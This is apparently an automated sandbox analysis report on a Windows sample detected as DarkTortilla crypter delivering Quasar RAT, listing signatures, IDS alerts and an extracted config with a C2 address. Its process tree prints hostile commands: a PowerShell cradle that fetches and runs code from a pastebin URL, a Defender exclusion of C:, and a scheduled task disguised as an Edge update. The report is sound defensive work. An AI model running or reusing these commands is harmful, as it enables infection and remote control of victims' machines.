Windows
Analysis Report
lO5lV39HDj.exe
Overview
General Information
Sample name: | lO5lV39HDj.exerenamed because original name is a hash value |
Original sample name: | 3fef4a4f7dc07057e6a500935782161219440423b7fd02e269e2c8d14c443288.exe |
Analysis ID: | 1607152 |
MD5: | afe55a1184d9f188557f9b1356198d7b |
SHA1: | d352a43ed4fbff47e693f889d56235f35eb7717a |
SHA256: | 3fef4a4f7dc07057e6a500935782161219440423b7fd02e269e2c8d14c443288 |
Tags: | 89-23-99-249exeuser-JAMESWT_MHT |
Infos: | |
Detection
DarkTortilla, Quasar
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Sigma detected: Powershell launch regsvr32
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected DarkTortilla Crypter
Yara detected Quasar RAT
.NET source code contains very large array initializations
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious Child Process Of Regsvr32
Sigma detected: PowerShell Download and Execution Cradles
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Uses Register-ScheduledTask to add task schedules
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality to call native functions
Contains functionality to launch a process as a different user
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries keyboard layouts
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Network Connection Initiated By Regsvr32.EXE
Sigma detected: Potential Regsvr32 Commandline Flag Anomaly
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
lO5lV39HDj.exe (PID: 7924 cmdline:
"C:\Users\ user\Deskt op\lO5lV39 HDj.exe" MD5: AFE55A1184D9F188557F9B1356198D7B) powershell.exe (PID: 8092 cmdline:
"powershel l.exe" -Ex ecutionPol icy Bypass -Command "iex (iwr "https://p astebin.co m/raw/WHKz W2nr" -Use BasicParsi ng).Conten t" MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 8100 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) csc.exe (PID: 1412 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\0nzyxc ux\0nzyxcu x.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) cvtres.exe (PID: 6328 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES5891.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\0nz yxcux\CSC9 B1D91995BD A47B392105 66D4DA539B 4.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) powershell.exe (PID: 6444 cmdline:
"powershel l.exe" Add -MpPrefere nce -Exclu sionPath ' C:' MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 5828 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) BT.exe (PID: 8168 cmdline:
"C:\Users\ user\Downl oads\BT.ex e" MD5: A2F9781E42A8DA5EB3CBE8A4DBA009E6) BT.tmp (PID: 7196 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\is-RN8 HT.tmp\BT. tmp" /SL5= "$F001C,29 56477,2452 48,C:\User s\user\Dow nloads\BT. exe" MD5: 70FCEDD0D46D1C97AF8E3EB4868C5BF1) BT.exe (PID: 8120 cmdline:
"C:\Users\ user\Downl oads\BT.ex e" /VERYSI LENT MD5: A2F9781E42A8DA5EB3CBE8A4DBA009E6) BT.tmp (PID: 1836 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\is-N9K 57.tmp\BT. tmp" /SL5= "$401C6,29 56477,2452 48,C:\User s\user\Dow nloads\BT. exe" /VERY SILENT MD5: 70FCEDD0D46D1C97AF8E3EB4868C5BF1) regsvr32.exe (PID: 3096 cmdline:
"regsvr32. exe" /s /i :SYNC "C:\ Users\user \AppData\R oaming\\d3 d9_4.drv" MD5: 878E47C8656E53AE8A8A21E927C6F7E0) regsvr32.exe (PID: 2224 cmdline:
/s /i:SYN C "C:\User s\user\App Data\Roami ng\\d3d9_4 .drv" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E) powershell.exe (PID: 2228 cmdline:
"powershel l" -Comman d "if (Get -Scheduled Task | Whe re-Object { $_.Actio ns.Execute -eq 'regs vr32' -and $_.Action s.Argument s -eq '/S /i:SYNC C: \Users\use r\AppData\ Roaming\d3 d9_4.drv' }) { exit 0 } else { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 6976 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 5112 cmdline:
"powershel l" "Regist er-Schedul edTask -Ac tion (New- ScheduledT askAction -Execute \ "regsvr32\ " -Argumen t \"/S /i: SYNC C:\Us ers\user\A ppData\Roa ming\d3d9_ 4.drv\") - Trigger (N ew-Schedul edTaskTrig ger -Once -At (Get-D ate).AddMi nutes(1) - Repetition Interval ( New-TimeSp an -Minute s 1)) -Tas kName 'Mic rosoftEdge UpdateTask MachineUA{ 05493815-7 F3D-43AF-9 EBD-81B008 54A622}' - Descriptio n 'Microso ftEdgeUpda teTaskMach ineUA' -Se ttings (Ne w-Schedule dTaskSetti ngsSet -Al lowStartIf OnBatterie s -DontSto pIfGoingOn Batteries -Execution TimeLimit 0) -RunLev el Highest " MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 5100 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) ST.exe (PID: 2220 cmdline:
"C:\Users\ user\Downl oads\ST.ex e" MD5: 69FAF96407C407A1BF211BE76F919BBF) AddInProcess32.exe (PID: 5576 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
regsvr32.exe (PID: 5048 cmdline:
C:\Windows \system32\ regsvr32.E XE /S /i:S YNC C:\Use rs\user\Ap pData\Roam ing\d3d9_4 .drv MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E) powershell.exe (PID: 5680 cmdline:
"powershel l" -Comman d "if (Get -Scheduled Task | Whe re-Object { $_.Actio ns.Execute -eq 'regs vr32' -and $_.Action s.Argument s -eq '/S /i:SYNC C: \Users\use r\AppData\ Roaming\d3 d9_4.drv' }) { exit 0 } else { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 4628 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
DarkTortilla | DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks Counter Threat Unit (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Quasar RAT, QuasarRAT | Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult. |
{"Version": "1.4.1", "Host:Port": "185.147.124.146:4782;", "SubDirectory": "SubDir", "InstallName": "Client.exe", "MutexName": "70595b2f-92ed-4cab-b358-5e9c155366b4", "StartupKey": "Quasar Client Startup", "Tag": "svchost32", "LogDirectoryName": "Logs", "ServerSignature": "QWTAPU96ZD4B5rzcGsMZTmvJMYuru/pfm79y1lQKhDBqJ8jx72Ry12Gq8DyaOAUJRkBMOVbj+C53qNTcsC2Xbz/001/c0K/zi6nNfZB/JdnTjxc647UWHBw7IsaYgClvWlQPN6ZPeVcgasY701EfnaEyYpSjRQKxfXndFerz6MOERmXY3cmfUfjHR3yqTOkqesdcctAVr+PV4tPO3KYdfQhy6P+vW4RzlDemRKwAVmcHM4xz43NiKNu0cw1fJ/N1PwkaT21Di+Cu9uZZPyuzilwa4yV9XvLQvAi5M0jwtfOfTDbeoBnPboldK3Dz0KHCC64BCiFThbUps6K1z6/XDP+bllDhMGLxu8SLcPzGsbb4yOzgW2dbnDT7aNbPVTXjefAx2A7hPyfGJGfNptkN0Gs52cV/FLy4VGMh9O6Wo04gneYRJ6h3yr9rvU1NjLPIx/3b0O9F9S3SEcVwW69SuWmrQsaBUYPdS1xhJVf7HyyQMX2ZckAwZxwNuz9kYEB72R8FyySQ/FWonv+jE7jDcEZWA2KlGBjfn35PqNLuoPLljsSs9YIrfE9Wm521NwIVHoi1kBvpxVt6IzCrmjauj/ayt9HF7R3mTtTedD7UZlE3vp80EYGCg2W8RQkjHlNygD0s2Lyr24+/fxxwW13ZjLs/U1W3M+3RvMnqcVQiI+E=", "ServerCertificate": "MIIE9jCCAt6gAwIBAgIQAKCGorTxUxixTgWTfRLobzANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFQaGFudG9tIFNlcnZlciBDQTAgFw0yNTAxMjIxNDE1MTZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRUGhhbnRvbSBTZXJ2ZXIgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDBroHhM07SjKOMLI9aSIowOMoinGujkAsuPsMTcg2C/x4EDyjfNz6fdFiBb8k7lBAMsKDsW4etU8CMhXxFox4HL3bBGUKQnb1ttQUO9Q9okkvN9J8SmxMX4rm7tgu91V9gxcvp0BkxTE2haYQVy/f9YMYooDc1gPD2KXUPlsRbEE6dwj9b0Inlo4a84FlXSbpcEWmqxBmfCVkLHuNC/e9T3LajN6EhSthfCr9CNt0YoSJMBVOCxvomKCYqJP23tIhq3I74rCIwPZT/mi9R8hMf7qgvgbhqL6/ngQw1lB3bLYN3mlATUbmuQOcijAa8OiusfXDYevIB1h4hGfd2gxxGQkcwtiG3SMoz6rPI6ms9jHxmvwcms29rMKmoBw/HYOLJEjMMN2Iyo/Kqlk2tRbNLQp8/MBQSyP73+M8SyuC0bSHakND2dmQUoDtk0GYgR1sL2LOA8s+lRQtLHFCgywoTzlJ7F/yGWbW1/V9YV4VQr5Zy0Tp9rLQzavTruhuSQklVAACLE5jadmRo4CrY4Gbo++Brd0NK3OU3MqwatmUS8L9k7E6VjxVNySvoBMHsYZYywH37njhiyAM1txCgx2NS8Qo7wBrwZWZN8JdTrJpslVn45aUdsv02MWnSEdi8TspUFjRMLlovpMIdPzNKDy3/tVWefTjx6Rz2u1YLnJ09ZQIDAQABozIwMDAdBgNVHQ4EFgQUKBmnQWPxQPRDYfUKSkc8q2ExyVswDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAiUke+gZyNUAi7CQpI/iTtoAhZUOKn8ViGYeWAblZmht+zi4HKehfi7RtzawmNEbPJd8MbDrpRvyuaC34XQlpp/BAeAZkdC+Uhn39O/yzceokcwCt487h/C93DhR7v7ASk1QaCdEnqZdPIwM7WaqozghtKox5zKWcK12R1OqAEXhWdA2jyqRBx4ooGCqQJOWvKbarpp6o17wqime0VI50MInWxRpGAkJvxEeQhoqG2/xUTRfWOzjFVcOGDpFTU/BLcWnfzB5sw1RjM7IbCv3W8sYkd4C3sqgGvsKyjH9Nj6lC9CKXz1PhlDCWtY79bf6enfo1P0jkqT5dBhtunIiCyuI840CVbqsrqGyT6XpfYOEx6dji9dJiFY5tddR1OQFelmLTs/PMALa6cLN4SFsR087wtRUG+L+SV+BtBkoo1dsLboARgAlrmbtv1CpQBl9opgzAX1bz/NvnoVx5y+KkAIDgR8xhWDbMPzj6mn2NLYlSSEtA4JHfxTZVPG7PhXq3yAHB5xt914TYuGcMaONyIJsX33OiLte2GunTNLlZtkf/2g8o4ifJBMN5o2SCgkfbeaMKm3WmqSo5pxG19wy31NSm04ckOJ3Gn7+tKd2nIJLWo0Tc3Da9e/N/8PK4LpMEF3PltlKWGifhfGa5Yo8iGC1bQ2aZq/dcikTBn8CHj5s="}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_DarkTortilla | Yara detected DarkTortilla Crypter | Joe Security | ||
JoeSecurity_DarkTortilla | Yara detected DarkTortilla Crypter | Joe Security | ||
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
Click to see the 8 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_DarkTortilla | Yara detected DarkTortilla Crypter | Joe Security | ||
JoeSecurity_DarkTortilla | Yara detected DarkTortilla Crypter | Joe Security | ||
JoeSecurity_Quasar | Yara detected Quasar RAT | Joe Security | ||
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
MAL_QuasarRAT_May19_1 | Detects QuasarRAT malware | Florian Roth |
| |
Click to see the 33 entries |
System Summary |
---|
Source: | Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113: |
Source: | Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): |
Source: | Author: Dmitriy Lifanov, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: frack113: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Data Obfuscation |
---|
Source: | Author: Joe Security: |
HIPS / PFW / Operating System Protection Evasion |
---|
Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-02-05T08:05:12.070268+0100 | 2035595 | 1 | Domain Observed Used for C2 Detected | 185.147.124.146 | 4782 | 192.168.2.10 | 49992 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-02-05T08:03:34.774601+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49755 | 104.26.12.205 | 80 | TCP |
2025-02-05T08:03:35.305841+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49759 | 208.95.112.1 | 80 | TCP |
2025-02-05T08:03:40.712110+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49793 | 104.26.12.205 | 80 | TCP |
2025-02-05T08:03:40.715385+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49794 | 104.26.12.205 | 80 | TCP |
2025-02-05T08:03:40.821451+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49759 | 208.95.112.1 | 80 | TCP |
2025-02-05T08:03:41.208968+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49799 | 208.95.112.1 | 80 | TCP |
2025-02-05T08:03:41.431552+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49802 | 89.23.99.249 | 80 | TCP |
2025-02-05T08:03:41.788407+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49803 | 89.23.99.249 | 80 | TCP |
2025-02-05T08:03:45.149587+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49829 | 104.26.12.205 | 80 | TCP |
2025-02-05T08:03:45.316767+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49799 | 208.95.112.1 | 80 | TCP |
2025-02-05T08:03:53.665214+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49880 | 104.26.12.205 | 80 | TCP |
2025-02-05T08:03:53.821527+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.10 | 49799 | 208.95.112.1 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-02-05T08:03:36.645164+0100 | 1810007 | 1 | Potentially Bad Traffic | 192.168.2.10 | 49767 | 149.154.167.220 | 443 | TCP |
2025-02-05T08:03:45.995783+0100 | 1810007 | 1 | Potentially Bad Traffic | 192.168.2.10 | 49833 | 149.154.167.220 | 443 | TCP |
2025-02-05T08:04:05.634892+0100 | 1810007 | 1 | Potentially Bad Traffic | 192.168.2.10 | 49948 | 149.154.167.220 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-02-05T08:03:29.474338+0100 | 1810000 | 2 | Potentially Bad Traffic | 192.168.2.10 | 49713 | 104.20.4.235 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Avira: |
Source: | Malware Configuration Extractor: |